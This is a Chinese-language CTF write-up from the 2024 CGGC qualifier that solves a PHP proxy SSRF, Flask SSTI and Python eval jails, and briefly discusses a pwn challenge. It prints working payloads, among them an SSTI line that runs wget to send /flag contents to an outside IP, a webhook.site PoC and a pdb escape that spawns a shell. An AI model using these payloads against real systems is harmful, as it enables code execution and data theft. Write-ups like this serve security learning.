|
2024-11-05
2024 CGGC Qual-writeup
Author: 堇姬Naup
簡單紀錄這場有摸的題目
web proxy 這題基本上就是要你GET request $service
和 $port
並且會從你的url path抓東西,然後去做 curl 目標是要抓到 http://secretweb/flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php function proxy ($service ) { $requestUri = $_SERVER ['REQUEST_URI' ]; $parsedUrl = parse_url ($requestUri ); $port = 80 ; if (isset ($_GET ['port' ])) { $port = (int )$_GET ['port' ]; } else if ($_COOKIE ["port" ]) { $port = (int )$_COOKIE ['port' ]; } setcookie ("service" , $service ); setcookie ("port" , $port ); $ch = curl_init (); curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, true ); $filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@' ; $fixeddomain = trim (trim ($service , $filter ).".cggc.chummy.tw:" .$port , $filter ); $fixeddomain = idn_to_ascii ($fixeddomain ); $fixeddomain = preg_replace ('/[^0-9a-zA-Z-.:_]/' , '' , $fixeddomain ); curl_setopt ($ch , CURLOPT_URL, 'http://' .$fixeddomain .$parsedUrl ['path' ].'?' .$_SERVER ['QUERY_STRING' ]); curl_exec ($ch ); curl_close ($ch ); } if (!isset ($_GET ['service' ]) && !isset ($_COOKIE ["service" ])) { highlight_file (__FILE__ ); } else if (isset ($_GET ['service' ])) { proxy ($_GET ['service' ]); } else { proxy ($_COOKIE ["service" ]); }
這邊主要問題是傳入的service會經歷一系列filter(為 $fixeddomain
) 兩次trim filter特殊字元,並接到.cggc.chummy.tw:<port>
-> idn_to_ascii(將Unicode DNS格式轉IDNA ASCII) -> preg_match在做一次filter -> http://<$fixeddomain><parseurl path>?<query string>
https://www.php.net/manual/zh/function.idn-to-ascii.php
這邊有個問題 當service傳入一個很大的數字,idn_to_ascii
吃到會回傳空的,所以把前面的&service塞爆,後面串要請求的網址就行,下方是PoC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $ch = curl_init ();curl_setopt ($ch , CURLOPT_FOLLOWLOCATION, true );$service = str_repeat ('c' , 1000 );$port = 80 ;$filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@' ;$fixeddomain = trim (trim ($service , $filter ).".cggc.chummy.tw:" .$port , $filter );$fixeddomain = idn_to_ascii ($fixeddomain );$fixeddomain = preg_replace ('/[^0-9a-zA-Z-.:_]/' , '' , $fixeddomain );$ch_url = 'http://' .$fixeddomain .'webhook.site/e7af8d30-c95f-4ba7-aa4b-e47a00c1e48a' ;curl_setopt ($ch , CURLOPT_URL, $ch_url );curl_exec ($ch );curl_close ($ch );?>
final payload: http://10.99.66.6/secretweb/flag?service=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Flag: CGGC{1Dn_7O_45c11_5o_57R4n9E_11fc26f06c33e83f65ade64679dc0e58}
Breakjail Online 🛜 這題是SSTI題
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 @app.route('/SsTiMe' , methods=['GET' ] ) def showip (): q = request.args.get('q' , "'7'*7" ) request.args = {} request.headers = {} request.cookies = {} request.data = {} request.query_string = b"#" +request.query_string if any ([x in "._.|||" for x in q]) or len (q) > 88 : return "Too long for me :/ my payload less than 73 chars" res = render_template_string(f"{{{{{q} }}}}" , breakpoint =breakpoint , str =str ) return 'res=7777777'
過濾掉了.
、_
、|
,並限制了長度不能夠大於88
這題payload是
1 lipsum["\x5f\x5fglobals\x5f\x5f"]["os"]["system"]("wget 395507846:1/`cat /flag*`")
基本上就是用lipsum那條SSTI,用[]
來bypass.
被ban,\x5
來bypass _
,之後抓到system,用十進制的 ip 和*
來壓短payload
flag: CGGC{breakpoint_is_a_biiiig_gadget_oj237rpwd3i2}
Misc Breakjail ⛓️ 首先是他讓你輸入一個字串,先過濾了.
、_
並且限制長度不可以大於55,之後放入到eval
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 print (open (__file__).read())flag = open ('flag' ).read() flag = "Got eaten by the cookie monster QQ" inp = __import__ ("unicodedata" ).normalize("NFKC" , input (">>> " )) if any ([x in "._." for x in inp]) or inp.__len__() > 55 : print ('bad hacker' ) else : eval (inp, {"__builtins__" : {}}, { 'breakpoint' : __import__ ('GoodPdb' ).good_breakpoint}) print (flag)
這裡的eval
有兩個設定,一個把__builtins__
清空,內建函數不可用,之後import GoodPdb
的good_breakpoint給’breakpoint’ 來看GoodPdb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import pdbclass GoodPdb (pdb.Pdb): def cmdloop (self, intro=None ): ... def do_interact (self, arg ): """ no interactive! """ pass good_breakpoint = GoodPdb().set_trace
GoodPdb繼承自整個pdb.Pdb
,而他call了set_trace
來看python3.14 documetshttps://docs.python.org/zh-tw/3.14/library/pdb.html#pdb.set_trace set_trace原型是pdb.set_trace(*, header=None, commands=None)
commands是在3.14中加入的,他可以輸入一些pdb相關commands 當我們輸入 breakpoint(commands='h')
可以看到有許多pdb commands可以用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 EOF cl disable ignore n return u where a clear display interact next retval unalias alias commands down j p run undisplay args condition enable jump pp rv unt b cont exceptions l q s until break continue exit list quit source up bt d h ll r step w c debug help longlist restart tbreak whatis
這邊下 breakpoint(commands=["debug",])
,他會開一個pdb shell給你,我們就有任意python執行了 不過我們沒有內建函數,最後用[''.__class__.__base__.__subclasses__()[158].__init__.__globals__][0]["system"]("sh")
開一個 shell,成功get flag
flag: CGGC{breakpoint_new_feature_in_python_3.14a_can_GOOOOOTOOOOO_n23hq78weh12rb}
Pwn one_shot IDA逆一下會發現他叫你輸入一個 address,之後你可以往那個位置想0xE0大小的東西,並且有給你libc,然後保護全開
簡單還說我們現在有一個 libc 任意寫,原本我的想法控puts底下在call strlen時,會去call *ABS*@got.plt
,這裡的GOT是可寫段,所以把這裡改掉就可以控rip
,但我沒想到怎麼去跳ROP,或是控rdi的方法 這邊賽後有看到其他組有用這方法做出來,可以來看這個repohttps://github.com/n132/Libc-GOT-Hijacking/blob/main/Post/README.md
最後是house of apple 解決https://zikh26.github.io/posts/19609dd.html
CGGC{0ne_sh0t_14_4ll_y0u_nEEd!}
後記 放一下score board 也感謝這兩天一起奮鬥的隊友 @Aukro @Flydragon @Whale.120
image
image